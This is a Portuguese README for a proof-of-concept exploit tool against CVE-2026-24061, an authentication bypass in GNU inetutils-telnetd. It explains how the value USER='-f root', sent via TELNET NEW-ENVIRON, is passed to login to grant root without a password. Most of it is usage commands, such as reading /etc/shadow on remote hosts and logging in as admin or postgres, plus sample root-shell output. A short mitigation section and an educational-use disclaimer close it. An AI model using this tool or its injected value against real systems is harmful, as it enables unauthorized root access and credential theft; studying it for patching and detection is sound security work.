
inetutils-telnetd Bypass de Autenticação - funcional
Um exploit de prova de conceito para a vulnerabilidade de bypass de autenticação no GNU inetutils-telnetd.
CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação que afeta as versões 1.9.3 a 2.7 do inetutils-telnetd. Ela permite que um atacante remoto obtenha um shell de root em sistemas vulneráveis sem fornecer nenhuma credencial.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-24061 |
| Software Afetado | GNU inetutils-telnetd |
| Versões Afetadas | 1.9.3 – 2.7 |
| Tipo de Vulnerabilidade | Bypass de Autenticação |
| Pontuação CVSS | Crítica |
| Vetor de Ataque | Rede |
A vulnerabilidade explora uma falha na forma como o telnetd lida com a variável de ambiente USER recebida por meio da opção TELNET NEW-ENVIRON (RFC 1572) durante a negociação do protocolo.
Negociação do Protocolo TELNET: Quando um cliente se conecta, o servidor e o cliente negociam capacidades, incluindo a opção NEW-ENVIRON, que permite ao cliente enviar variáveis de ambiente.
Valor Malicioso de USER: O exploit envia USER=-f root como uma variável de ambiente durante essa fase de negociação.
Passagem Insegura de Argumentos: O telnetd vulnerável passa esse valor sem sanitização para o programa login.
Injeção de Comandos: O programa login interpreta -f root como flags de linha de comando:
-f = "forçar login sem autenticação"root = o nome de usuário para fazer loginAcesso Root: O atacante obtém um shell de root sem nunca ser solicitado a fornecer uma senha.
Cliente envia: USER = "-f root"
telnetd executa: login -f root
Resultado: Shell de root concedido sem autenticação
Isso é equivalente a executar USER='-f root' telnet -a localhost em um sistema com um telnetd vulnerável.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPÇÕES] <alvo>
| Opção | Descrição | Padrão |
|---|---|---|
host | Nome de host ou endereço IP do alvo | Obrigatório |
-p, --port | Porta do alvo | 23 |
-u, --user | Valor de USER a injetar | -f root |
-c, --command | Executar um único comando (não interativo) | Nenhum |
-t, --timeout | Tempo limite de conexão em segundos | 10 |
Shell de root interativo em localhost:
./exploit.py localhost
Shell de root interativo em host remoto:
./exploit.py 192.168.1.100
Executar um único comando e sair:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Fazer login como um usuário diferente:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Porta não padrão:
./exploit.py -p 2323 localhost
Combinar opções:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
Quando executado sem a flag -c, o exploit o leva a um shell interativo:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - Bypass de Autenticação no inetutils-telnetd ║
║ Afeta: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Conectado a 192.168.1.100:23
[*] Negociando opções TELNET...
[*] Acordo sobre NEW-ENVIRON (enviando USER='-f root')
[+] USER='-f root' enviado via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
Desative o telnetd: Se não for estritamente necessário, desative o serviço telnet completamente
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
Use SSH em vez disso: Substitua o telnet por SSH para acesso remoto
sudo apt install openssh-server
Regras de firewall: Bloqueie a porta 23 de redes não confiáveis
sudo ufw deny 23/tcp
O exploit implementa um cliente TELNET mínimo que:
USER=-f root na resposta ENV_ISEsta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.
Licença MIT — Consulte LICENSE para obter detalhes.